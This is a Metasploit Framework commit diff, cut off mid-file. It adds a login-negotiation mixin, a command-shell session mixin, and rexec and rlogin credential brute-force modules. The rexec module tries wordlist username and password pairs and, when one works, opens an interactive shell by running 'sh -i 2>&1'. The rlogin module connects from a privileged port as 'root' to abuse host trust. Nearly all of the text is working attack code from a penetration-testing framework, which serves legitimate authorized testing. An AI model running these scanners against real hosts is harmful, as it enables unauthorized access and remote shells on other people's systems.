Super-duper rservices commit -
1. Added rsh, rlogin, and rexec auth brute scanners 2. Login negotation moved into new Msf::Auxiliary::Login mixin 3. Centralized session registration for auth brute scanners 4. Telnet and SSH auth brute scanners updated to use new mixins 5. Previously committed rservices mixin (r11093) git-svn-id: file:///home/svn/framework3/trunk@11106 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
90182c01f5
commit
9c668b8daf
|
@ -0,0 +1,55 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This module provides methods for scanning modules that yield
|
||||
# Command Shell sessions.
|
||||
#
|
||||
###
|
||||
|
||||
module Auxiliary::CommandShell
|
||||
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
#
|
||||
# Ghetto
|
||||
#
|
||||
module CRLFLineEndings
|
||||
def put(str)
|
||||
return super if not str
|
||||
super(str.strip + "\r\n")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def start_session(obj, info, ds_merge, crlf = false, sock = nil)
|
||||
if crlf
|
||||
# Windows telnet server requires \r\n line endings and it doesn't
|
||||
# seem to affect anything else.
|
||||
obj.sock.extend(CRLFLineEndings)
|
||||
end
|
||||
|
||||
sock ||= obj.sock
|
||||
sess = Msf::Sessions::CommandShell.new(sock)
|
||||
sess.set_from_exploit(obj)
|
||||
sess.info = info
|
||||
|
||||
# Clean up the stored data
|
||||
sess.exploit_datastore.merge!(ds_merge)
|
||||
|
||||
# Prevent the socket from being closed
|
||||
obj.sockets.delete(sock)
|
||||
obj.sock = nil if obj.respond_to? :sock
|
||||
|
||||
framework.sessions.register(sess)
|
||||
sess.process_autoruns(datastore)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,242 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This module exposes methods that may be useful to exploits that deal with
|
||||
# servers that require authentication via /bin/login
|
||||
#
|
||||
###
|
||||
module Auxiliary::Login
|
||||
|
||||
NULL = "\000"
|
||||
CR = "\r"
|
||||
LF = "\n"
|
||||
EOL = CR + LF
|
||||
|
||||
#
|
||||
# Creates an instance of a login negoation module.
|
||||
#
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
# Appended to by each read and gets reset after each send. Doing it
|
||||
# this way lets us deal with partial reads in the middle of expect
|
||||
# strings, e.g., the first recv returns "Pa" and the second returns
|
||||
# "ssword: "
|
||||
@recvd = ''
|
||||
@trace = ''
|
||||
|
||||
#
|
||||
# Some of these regexes borrowed from NeXpose, others added from datasets
|
||||
#
|
||||
@login_regex = /(?:log[io]n( name|)|user(name|id|))\s*\:/i
|
||||
@password_regex = /(?:password|passwd)\s*\:/i
|
||||
@false_failure_regex = /(?:(^\s*last)\ login *\:|allows only\ .*\ Telnet\ Client\ License)/i
|
||||
@failure_regex = /(?:
|
||||
Incorrect | Unknown | Fail | Invalid |
|
||||
Login | Password | Passwd | Username |
|
||||
Unable | Error | Denied | Reject |
|
||||
Refuse | Close | Closing | %\ Bad |
|
||||
Sorry |
|
||||
Not\ on\ system\ console |
|
||||
Enter\ username\ and\ password |
|
||||
Auto\ Apply\ On |
|
||||
YOU\ LOGGED\ IN\ USING\ ALL\ UPPERCASE\ CHARACTERS|
|
||||
\n\*$ |
|
||||
(Login ?|User ?)(name|): |
|
||||
^\s*\<[a-f0-9]+\>\s*$ |
|
||||
^\s*220.*FTP
|
||||
)/mix
|
||||
|
||||
@waiting_regex = /(?:
|
||||
.*please\ wait.* |
|
||||
.*one\ minute.*
|
||||
)/mix
|
||||
|
||||
@busy_regex = /(?:
|
||||
Another\ telnet\ session\ is\ in\ progress | Disconnecting\.\.\.
|
||||
)/mix
|
||||
|
||||
@success_regex = /(?:
|
||||
list\ of\ built-in |
|
||||
sh.*[\#\$]\s*$ |
|
||||
\[\/\]\s*$ |
|
||||
or\ the\ MENU\ system |
|
||||
Password\ is\ not\ set |
|
||||
logging\ in\ as\ visitor |
|
||||
Login\ successful
|
||||
)/mix
|
||||
end
|
||||
|
||||
#
|
||||
# Appends to the @recvd buffer which is used to tell us whether we're at a
|
||||
# login prompt, a password prompt, or a working shell.
|
||||
#
|
||||
def recv(fd=self.sock, timeout=10)
|
||||
|
||||
data = ''
|
||||
|
||||
begin
|
||||
data = fd.get_once(-1, timeout.to_i)
|
||||
return nil if not data or data.length == 0
|
||||
|
||||
# combine EOL into "\n"
|
||||
data.gsub!(/#{EOL}/no, "\n")
|
||||
|
||||
@trace << data
|
||||
@recvd << data
|
||||
fd.flush
|
||||
|
||||
rescue ::EOFError, ::Errno::EPIPE
|
||||
end
|
||||
|
||||
data
|
||||
end
|
||||
|
||||
def login_prompt?
|
||||
return true if @recvd =~ @login_regex
|
||||
return false
|
||||
end
|
||||
|
||||
def command_echo?(cmd)
|
||||
recvn = @recvd.gsub(/^(\s*#{cmd}\r?\n\s*|\s*\*+\s*)/, '')
|
||||
if(recvn != @recvd)
|
||||
@recvd = recvn
|
||||
return true
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
def waiting_message?
|
||||
recvn = @recvd.gsub(@waiting_regex, '')
|
||||
if(recvn != @recvd)
|
||||
@recvd = recvn.strip
|
||||
return true
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
def busy_message?
|
||||
recvn = @recvd.gsub(@busy_regex, '')
|
||||
if(recvn != @recvd)
|
||||
@recvd = recvn.strip
|
||||
return true
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
def password_prompt?
|
||||
return true if @recvd =~ @password_regex
|
||||
return false
|
||||
end
|
||||
|
||||
def login_failed?
|
||||
# Naively, failure means matching the failure regex.
|
||||
#
|
||||
# However, this leads to problems with false positives in the case of
|
||||
# "login:" because unix systems commonly show "Last login: Sat Jan 3
|
||||
# 20:22:52" upon successful login, so check against a false-positive
|
||||
# regex, also.
|
||||
#
|
||||
|
||||
# Empty strings should not count
|
||||
if @recvd.strip.length == 0
|
||||
return true
|
||||
end
|
||||
|
||||
# If we have not seen a newline, this is likely an echo'd prompt
|
||||
if ! @recvd.index("\n")
|
||||
return true
|
||||
end
|
||||
|
||||
# We do have a set of highly-accurate success patterns
|
||||
if (@recvd =~ @success_regex)
|
||||
return false
|
||||
end
|
||||
|
||||
if @recvd =~ @failure_regex
|
||||
if @recvd !~ @false_failure_regex
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
def login_succeeded?
|
||||
# Much easier to test for failure than success because a few key words
|
||||
# mean failure whereas all kinds of crap is used for success, much of
|
||||
# which also shows up in failure messages.
|
||||
return (not login_failed?)
|
||||
end
|
||||
|
||||
#
|
||||
# This method logs in as the supplied user by transmitting the username
|
||||
#
|
||||
def send_user(user, nsock = self.sock)
|
||||
got_prompt = wait_for(@login_regex)
|
||||
if not got_prompt
|
||||
print_error("#{rhost} - Something is wrong, didn't get a login prompt")
|
||||
end
|
||||
return send_recv("#{user}\r\n")
|
||||
end
|
||||
|
||||
#
|
||||
# This method completes user authentication by sending the supplied password
|
||||
#
|
||||
def send_pass(pass, nsock = self.sock)
|
||||
got_prompt = wait_for(@password_regex)
|
||||
if not got_prompt
|
||||
print_error("#{rhost} - Something is wrong, didn't get a password prompt")
|
||||
end
|
||||
return send_recv("#{pass}\r\n")
|
||||
end
|
||||
|
||||
def send_recv(msg, nsock = self.sock)
|
||||
raw_send(msg, nsock)
|
||||
recv_all(nsock)
|
||||
return @recvd
|
||||
end
|
||||
|
||||
def recv_all(nsock = self.sock, timeout = 10)
|
||||
# Make sure we read something in
|
||||
wait_for(/./)
|
||||
end
|
||||
|
||||
#
|
||||
# This method transmits a telnet command and does not wait for a response
|
||||
#
|
||||
# Resets the @recvd buffer
|
||||
#
|
||||
def raw_send(cmd, nsock = self.sock)
|
||||
@recvd = ''
|
||||
@trace << cmd
|
||||
nsock.put(cmd)
|
||||
end
|
||||
|
||||
#
|
||||
# Wait for the supplied string (or Regexp) to show up on the socket, or a
|
||||
# timeout
|
||||
#
|
||||
def wait_for(expect, nsock = self.sock)
|
||||
if expect.kind_of? Regexp
|
||||
regx = expect
|
||||
else
|
||||
regx = /#{Regexp.quote(expect)}/i
|
||||
end
|
||||
return true if @recvd =~ regx
|
||||
|
||||
resp = ''
|
||||
while (resp and not @recvd =~ regx)
|
||||
resp = recv(nsock)
|
||||
end
|
||||
|
||||
return (@recvd =~ regx)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -1,3 +1,7 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
#
|
||||
# Auxiliary mixins
|
||||
#
|
||||
|
@ -9,3 +13,5 @@ require 'msf/core/auxiliary/scanner'
|
|||
require 'msf/core/auxiliary/timed'
|
||||
require 'msf/core/auxiliary/wmapmodule'
|
||||
require 'msf/core/auxiliary/crawler'
|
||||
require 'msf/core/auxiliary/commandshell'
|
||||
require 'msf/core/auxiliary/login'
|
||||
|
|
|
@ -1,3 +1,7 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
module Msf
|
||||
|
||||
require 'msf/core/exploit/tcp'
|
||||
|
@ -11,6 +15,7 @@ require 'msf/core/exploit/tcp'
|
|||
module Exploit::Remote::Telnet
|
||||
|
||||
include Exploit::Remote::Tcp
|
||||
include Auxiliary::Login
|
||||
|
||||
# Borrowing constants from Ruby's Net::Telnet class (ruby license)
|
||||
IAC = 255.chr # "\377" # "\xff" # interpret as command
|
||||
|
@ -77,11 +82,6 @@ module Exploit::Remote::Telnet
|
|||
OPT_NEW_ENVIRON = 39.chr # "'" # "\x27" # New Environment Option
|
||||
OPT_EXOPL = 255.chr # "\377" # "\xff" # Extended-Options-List
|
||||
|
||||
NULL = "\000"
|
||||
CR = "\015"
|
||||
LF = "\012"
|
||||
EOL = CR + LF
|
||||
|
||||
|
||||
#
|
||||
# Creates an instance of a Telnet exploit module.
|
||||
|
@ -106,53 +106,6 @@ module Exploit::Remote::Telnet
|
|||
|
||||
register_autofilter_ports([ 23 ])
|
||||
register_autofilter_services(%W{ telnet })
|
||||
|
||||
# Appended to by each read and gets reset after each send. Doing it
|
||||
# this way lets us deal with partial reads in the middle of expect
|
||||
# strings, e.g., the first recv returns "Pa" and the second returns
|
||||
# "ssword: "
|
||||
@recvd = ''
|
||||
|
||||
#
|
||||
# Some of these regexes borrowed from NeXpose, others added from datasets
|
||||
#
|
||||
@login_regex = /(?:log[io]n( name|)|user(name|id|))\s*\:/i
|
||||
@password_regex = /(?:password|passwd)\s*\:/i
|
||||
@false_failure_regex = /(?:(^\s*last)\ login *\:|allows only\ .*\ Telnet\ Client\ License)/i
|
||||
@failure_regex = /(?:
|
||||
Incorrect | Unknown | Fail | Invalid |
|
||||
Login | Password | Passwd | Username |
|
||||
Unable | Error | Denied | Reject |
|
||||
Refuse | Close | Closing | %\ Bad |
|
||||
Sorry |
|
||||
Not\ on\ system\ console |
|
||||
Enter\ username\ and\ password |
|
||||
Auto\ Apply\ On |
|
||||
YOU\ LOGGED\ IN\ USING\ ALL\ UPPERCASE\ CHARACTERS|
|
||||
\n\*$ |
|
||||
(Login ?|User ?)(name|): |
|
||||
^\s*\<[a-f0-9]+\>\s*$ |
|
||||
^\s*220.*FTP
|
||||
)/mix
|
||||
|
||||
@waiting_regex = /(?:
|
||||
.*please\ wait.* |
|
||||
.*one\ minute.*
|
||||
)/mix
|
||||
|
||||
@busy_regex = /(?:
|
||||
Another\ telnet\ session\ is\ in\ progress | Disconnecting\.\.\.
|
||||
)/mix
|
||||
|
||||
@success_regex = /(?:
|
||||
list\ of\ built-in |
|
||||
sh.*[\#\$]\s*$ |
|
||||
\[\/\]\s*$ |
|
||||
or\ the\ MENU\ system |
|
||||
Password\ is\ not\ set |
|
||||
logging\ in\ as\ visitor |
|
||||
Login\ successful
|
||||
)/mix
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -172,7 +125,7 @@ module Exploit::Remote::Telnet
|
|||
begin
|
||||
Timeout.timeout(banner_timeout) do
|
||||
while(true)
|
||||
buff = recv_telnet(fd)
|
||||
buff = recv(fd)
|
||||
self.banner << buff if buff
|
||||
if(self.banner =~ @login_regex or self.banner =~ @password_regex)
|
||||
break
|
||||
|
@ -192,13 +145,17 @@ module Exploit::Remote::Telnet
|
|||
end
|
||||
|
||||
|
||||
def recv(fd=self.sock, timeout=datastore['TelnetTimeout'])
|
||||
recv_telnet(fd, timeout)
|
||||
end
|
||||
|
||||
#
|
||||
# Handle telnet option negotiation
|
||||
#
|
||||
# Appends to the @recvd buffer which is used to tell us whether we're at a
|
||||
# login prompt, a password prompt, or a working shell.
|
||||
#
|
||||
def recv_telnet(fd=self.sock, timeout=datastore['TelnetTimeout'])
|
||||
def recv_telnet(fd, timeout)
|
||||
|
||||
data = ''
|
||||
|
||||
|
@ -262,82 +219,6 @@ module Exploit::Remote::Telnet
|
|||
data
|
||||
end
|
||||
|
||||
def login_prompt?
|
||||
return true if @recvd =~ @login_regex
|
||||
return false
|
||||
end
|
||||
|
||||
def command_echo?(cmd)
|
||||
recvn = @recvd.gsub(/^(\s*#{cmd}\r?\n\s*|\s*\*+\s*)/, '')
|
||||
if(recvn != @recvd)
|
||||
@recvd = recvn
|
||||
return true
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
def waiting_message?
|
||||
recvn = @recvd.gsub(@waiting_regex, '')
|
||||
if(recvn != @recvd)
|
||||
@recvd = recvn.strip
|
||||
return true
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
def busy_message?
|
||||
recvn = @recvd.gsub(@busy_regex, '')
|
||||
if(recvn != @recvd)
|
||||
@recvd = recvn.strip
|
||||
return true
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
def password_prompt?
|
||||
return true if @recvd =~ @password_regex
|
||||
return false
|
||||
end
|
||||
|
||||
def login_failed?
|
||||
# Naively, failure means matching the failure regex.
|
||||
#
|
||||
# However, this leads to problems with false positives in the case of
|
||||
# "login:" because unix systems commonly show "Last login: Sat Jan 3
|
||||
# 20:22:52" upon successful login, so check against a false-positive
|
||||
# regex, also.
|
||||
#
|
||||
|
||||
|
||||
# Empty strings should not count
|
||||
if @recvd.strip.length == 0
|
||||
return true
|
||||
end
|
||||
|
||||
# If we have not seen a newline, this is likely an echo'd prompt
|
||||
if ! @recvd.index("\n")
|
||||
return true
|
||||
end
|
||||
|
||||
# We do have a set of highly-accurate success patterns
|
||||
if (@recvd =~ @success_regex)
|
||||
return false
|
||||
end
|
||||
|
||||
if @recvd =~ @failure_regex
|
||||
if @recvd !~ @false_failure_regex
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
def login_succeeded?
|
||||
# Much easier to test for failure than success because a few key words
|
||||
# mean failure whereas all kinds of crap is used for success, much of
|
||||
# which also shows up in failure messages.
|
||||
return (not login_failed?)
|
||||
end
|
||||
|
||||
def user
|
||||
datastore["USERNAME"]
|
||||
end
|
||||
|
@ -346,70 +227,6 @@ module Exploit::Remote::Telnet
|
|||
datastore["PASSWORD"]
|
||||
end
|
||||
|
||||
#
|
||||
# This method logs in as the supplied user by transmitting the username
|
||||
#
|
||||
def send_user(user, nsock = self.sock)
|
||||
got_prompt = wait_for(@login_regex)
|
||||
if not got_prompt
|
||||
print_error("#{rhost} - Something is wrong, didn't get a login prompt")
|
||||
end
|
||||
return send_recv("#{user}\r\n")
|
||||
end
|
||||
|
||||
#
|
||||
# This method completes user authentication by sending the supplied password
|
||||
#
|
||||
def send_pass(pass, nsock = self.sock)
|
||||
got_prompt = wait_for(@password_regex)
|
||||
if not got_prompt
|
||||
print_error("#{rhost} - Something is wrong, didn't get a password prompt")
|
||||
end
|
||||
return send_recv("#{pass}\r\n")
|
||||
end
|
||||
|
||||
def send_recv(msg, nsock = self.sock)
|
||||
raw_send(msg, nsock)
|
||||
recv_all(nsock)
|
||||
return @recvd
|
||||
end
|
||||
|
||||
def recv_all(nsock = self.sock, timeout = tel_timeout)
|
||||
# Make sure we read something in
|
||||
wait_for(/./)
|
||||
end
|
||||
|
||||
#
|
||||
# This method transmits a telnet command and does not wait for a response
|
||||
#
|
||||
# Resets the @recvd buffer
|
||||
#
|
||||
def raw_send(cmd, nsock = self.sock)
|
||||
@recvd = ''
|
||||
@trace << cmd
|
||||
nsock.put(cmd)
|
||||
end
|
||||
|
||||
#
|
||||
# Wait for the supplied string (or Regexp) to show up on the socket, or a
|
||||
# timeout
|
||||
#
|
||||
def wait_for(expect, nsock = self.sock)
|
||||
if expect.kind_of? Regexp
|
||||
regx = expect
|
||||
else
|
||||
regx = /#{Regexp.quote(expect)}/i
|
||||
end
|
||||
return true if @recvd =~ regx
|
||||
|
||||
resp = ''
|
||||
while (resp and not @recvd =~ regx)
|
||||
resp = recv_telnet(nsock)
|
||||
end
|
||||
|
||||
return (@recvd =~ regx)
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Wrappers for getters
|
||||
|
|
|
@ -0,0 +1,193 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::RServices
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::CommandShell
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'rexec Authentication Scanner',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{
|
||||
This module will test an rexec service on a range of machines and
|
||||
report successful logins.
|
||||
|
||||
NOTE: This module requires access to bind to privileged ports (below 1024).
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '1999-0651' ]
|
||||
],
|
||||
'Author' => [ 'jduck '],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(512),
|
||||
OptBool.new('ENABLE_STDERR', [ true, 'Enables connecting the stderr port', false ]),
|
||||
OptInt.new( 'STDERR_PORT', [ false, 'The port to listen on for stderr', nil ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
print_status("#{ip}:#{rport} - Starting rexec sweep")
|
||||
|
||||
if datastore['ENABLE_STDERR']
|
||||
# For each host, bind a privileged listening port for the target to connect
|
||||
# back to.
|
||||
ret = listen_on_random_port(datastore['STDERR_PORT'])
|
||||
if not ret
|
||||
return :abort
|
||||
end
|
||||
sd, stderr_port = ret
|
||||
else
|
||||
sd = stderr_port = nil
|
||||
end
|
||||
|
||||
# The maximum time for a host is set here.
|
||||
Timeout.timeout(300) {
|
||||
each_user_pass { |user, pass|
|
||||
do_login(user, pass, sd, stderr_port)
|
||||
}
|
||||
}
|
||||
|
||||
sd.close if sd
|
||||
end
|
||||
|
||||
|
||||
def do_login(user, pass, sfd, stderr_port)
|
||||
vprint_status("#{target_host}:#{rport} - Attempting rexec with username:password '#{user}':'#{pass}'")
|
||||
|
||||
cmd = datastore['CMD']
|
||||
cmd ||= 'sh -i 2>&1'
|
||||
|
||||
# We must connect from a privileged port.
|
||||
return :abort if not connect
|
||||
|
||||
sock.put("#{stderr_port}\x00#{user}\x00#{pass}\x00#{cmd}\x00")
|
||||
|
||||
if sfd and stderr_port
|
||||
stderr_sock = sfd.accept
|
||||
add_socket(stderr_sock)
|
||||
else
|
||||
stderr_sock = nil
|
||||
end
|
||||
|
||||
# Read the expected nul byte response.
|
||||
buf = sock.get_once(1)
|
||||
return :abort if buf != "\x00"
|
||||
|
||||
# NOTE: We report this here, since we are awfully convinced now that this is really
|
||||
# an rexec service.
|
||||
report_service(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:name => 'rexec'
|
||||
)
|
||||
|
||||
# should we report a vuln here? rexec allowed w/o password?!
|
||||
print_good("#{target_host}:#{rport}, rexec '#{user}' : '#{pass}'")
|
||||
start_rexec_session(rhost, rport, user, pass, buf, stderr_sock)
|
||||
|
||||
return :next_user
|
||||
|
||||
# For debugging only.
|
||||
#rescue ::Exception
|
||||
# print_error("#{$!}")
|
||||
# return :abort
|
||||
|
||||
ensure
|
||||
disconnect()
|
||||
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This is only needed by rexec so it is not in the rservices mixin
|
||||
#
|
||||
def listen_on_random_port(specific_port = 0)
|
||||
stderr_port = nil
|
||||
if specific_port > 0
|
||||
stderr_port = specific_port
|
||||
sd = listen_on_port(stderr_port)
|
||||
else
|
||||
stderr_port = 1024 + rand(0x10000 - 1024)
|
||||
512.times {
|
||||
sd = listen_on_port(stderr_port)
|
||||
break if sd
|
||||
stderr_port = 1024 + rand(0x10000 - 1024)
|
||||
}
|
||||
end
|
||||
|
||||
if not sd
|
||||
print_error("Unable to bind to listener port")
|
||||
return false
|
||||
end
|
||||
|
||||
add_socket(sd)
|
||||
print_status("Listening on port #{stderr_port}")
|
||||
[ sd, stderr_port ]
|
||||
end
|
||||
|
||||
|
||||
def listen_on_port(stderr_port)
|
||||
vprint_status("Trying to listen on port #{stderr_port} ..")
|
||||
sd = nil
|
||||
begin
|
||||
sd = Rex::Socket.create_tcp_server('LocalPort' => stderr_port)
|
||||
|
||||
rescue Rex::AddressInUse
|
||||
# Ignore and try again
|
||||
|
||||
end
|
||||
|
||||
sd
|
||||
end
|
||||
|
||||
|
||||
def start_rexec_session(host, port, user, pass, proof, stderr_sock)
|
||||
report_auth_info(
|
||||
:host => host,
|
||||
:port => port,
|
||||
:sname => 'rexec',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:proof => proof,
|
||||
:active => true
|
||||
)
|
||||
|
||||
merge_me = {
|
||||
'USERPASS_FILE' => nil,
|
||||
'USER_FILE' => nil,
|
||||
'PASS_FILE' => nil,
|
||||
'USERNAME' => user,
|
||||
'PASSWORD' => pass,
|
||||
# Save a reference to the socket so we don't GC prematurely
|
||||
:stderr_sock => stderr_sock
|
||||
}
|
||||
|
||||
# Don't tie the life of this socket to the exploit
|
||||
self.sockets.delete(stderr_sock)
|
||||
|
||||
start_session(self, "rexec #{user}:#{pass} (#{host}:#{port})", merge_me)
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,234 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::RServices
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Login
|
||||
include Msf::Auxiliary::CommandShell
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'rlogin Authentication Scanner',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{
|
||||
This module will test an rlogin service on a range of machines and
|
||||
report successful logins.
|
||||
|
||||
NOTE: This module requires access to bind to privileged ports (below 1024).
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '1999-0651' ]
|
||||
],
|
||||
'Author' => [ 'jduck' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(513),
|
||||
OptString.new('TERM', [ true, 'The terminal type desired', 'vt100' ]),
|
||||
OptString.new('SPEED', [ true, 'The terminal speed desired', '9600' ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
print_status("#{ip}:#{rport} - Starting rlogin sweep")
|
||||
|
||||
luser = datastore['LOCALUSER']
|
||||
luser ||= 'root'
|
||||
|
||||
begin
|
||||
each_user_pass { |user, pass|
|
||||
try_user_pass(user, pass, luser)
|
||||
}
|
||||
rescue ::Rex::ConnectionError
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
def try_user_pass(user, pass, luser)
|
||||
vprint_status "#{rhost}:#{rport} rlogin - Attempting: '#{user}':'#{pass}' from '#{luser}'"
|
||||
this_attempt ||= 0
|
||||
ret = nil
|
||||
while this_attempt <= 3 and (ret.nil? or ret == :refused)
|
||||
if this_attempt > 0
|
||||
select(nil,nil,nil, 2**this_attempt)
|
||||
vprint_error "#{rhost}:#{rport} rlogin - Retrying '#{user}':'#{pass}' from '#{luser}' due to reset"
|
||||
end
|
||||
ret = do_login(user, pass, luser)
|
||||
this_attempt += 1
|
||||
end
|
||||
|
||||
case ret
|
||||
when :no_auth_required
|
||||
print_good "#{rhost}:#{rport} rlogin - No authentication required!"
|
||||
return :abort
|
||||
|
||||
when :no_pass_prompt
|
||||
vprint_status "#{rhost}:#{rport} rlogin - Skipping '#{user}' due to missing password prompt"
|
||||
return :skip_user
|
||||
|
||||
when :timeout
|
||||
vprint_status "#{rhost}:#{rport} rlogin - Skipping '#{user}':'#{pass}' from '#{luser}' due to timeout"
|
||||
|
||||
when :busy
|
||||
vprint_error "#{rhost}:#{rport} rlogin - Skipping '#{user}':'#{pass}' from '#{luser}' due to busy state"
|
||||
|
||||
when :refused
|
||||
vprint_error "#{rhost}:#{rport} rlogin - Skipping '#{user}':'#{pass}' from '#{luser}' due to connection refused."
|
||||
|
||||
when :skip_user
|
||||
vprint_status "#{rhost}:#{rport} rlogin - Skipping disallowed user '#{user}' for subsequent requests"
|
||||
return :skip_user
|
||||
|
||||
when :success
|
||||
# session created inside do_login, ignore
|
||||
return :next_user
|
||||
|
||||
else
|
||||
if login_succeeded?
|
||||
start_rlogin_session(rhost, rport, user, luser, pass, @trace)
|
||||
return :next_user
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Sometimes telnet servers start RSTing if you get them angry.
|
||||
# This is a short term fix; the problem is that we don't know
|
||||
# if it's going to reset forever, or just this time, or randomly.
|
||||
# A better solution is to get the socket connect to try again
|
||||
# with a little backoff.
|
||||
def connect_reset_safe
|
||||
begin
|
||||
# We must connect from a privileged port.
|
||||
connect_from_privileged_port
|
||||
rescue Rex::ConnectionRefused
|
||||
return :refused
|
||||
end
|
||||
return :connected
|
||||
end
|
||||
|
||||
|
||||
def do_login(user, pass, luser)
|
||||
return :refused if connect_reset_safe == :refused
|
||||
|
||||
sock.put("\x00#{luser}\x00#{user}\x00#{datastore['TERM']}/#{datastore['SPEED']}\x00")
|
||||
|
||||
# Read the expected nul byte response.
|
||||
buf = sock.get_once(1)
|
||||
return :abort if buf != "\x00"
|
||||
|
||||
# NOTE: We report this here, since we are awfully convinced now that this is really
|
||||
# an rlogin service.
|
||||
report_service(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:name => 'rlogin'
|
||||
)
|
||||
|
||||
# Receive the initial response
|
||||
Timeout.timeout(10) do
|
||||
recv
|
||||
end
|
||||
|
||||
if busy_message?
|
||||
self.sock.close unless self.sock.closed?
|
||||
return :busy
|
||||
end
|
||||
|
||||
# If we're not trusted, we should get a password prompt. Otherwise, we might be in already :)
|
||||
if login_succeeded?
|
||||
# should we report a vuln here? rlogin allowed w/o password?!
|
||||
print_good("#{target_host}:#{rport}, rlogin '#{user}' from '#{luser}' with no password.")
|
||||
start_rlogin_session(rhost, rport, user, luser, pass, @trace)
|
||||
return :success
|
||||
end
|
||||
|
||||
recvd_sample = @recvd.dup
|
||||
# Allow for slow echos
|
||||
1.upto(10) do
|
||||
recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/]
|
||||
end
|
||||
|
||||
vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
|
||||
|
||||
# Not successful yet, maybe we got a password prompt.
|
||||
if password_prompt?
|
||||
send_pass(pass)
|
||||
|
||||
# Allow for slow echos
|
||||
1.upto(10) do
|
||||
recv_telnet(self.sock, 0.10) if @recvd == recvd_sample
|
||||
end
|
||||
|
||||
vprint_status("#{rhost}:#{rport} Result: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
|
||||
|
||||
if login_succeeded?
|
||||
print_good("#{target_host}:#{rport}, rlogin '#{user}' : '#{pass}' from '#{luser}'")
|
||||
start_rlogin_session(rhost, rport, user, luser, pass, @trace)
|
||||
return :success
|
||||
else
|
||||
return :fail
|
||||
end
|
||||
else
|
||||
if login_succeeded? && @recvd !~ /^#{user}\x0d*\x0a/
|
||||
return :success
|
||||
else
|
||||
self.sock.close unless self.sock.closed?
|
||||
return :no_pass_prompt
|
||||
end
|
||||
end
|
||||
|
||||
# For debugging only.
|
||||
#rescue ::Exception
|
||||
# print_error("#{$!}")
|
||||
|
||||
ensure
|
||||
disconnect()
|
||||
end
|
||||
|
||||
|
||||
def start_rlogin_session(host, port, user, luser, pass, proof)
|
||||
|
||||
report_auth_info(
|
||||
:host => host,
|
||||
:port => port,
|
||||
:sname => 'rlogin',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:luser => luser,
|
||||
:proof => proof,
|
||||
:active => true
|
||||
)
|
||||
|
||||
merge_me = {
|
||||
'USERPASS_FILE' => nil,
|
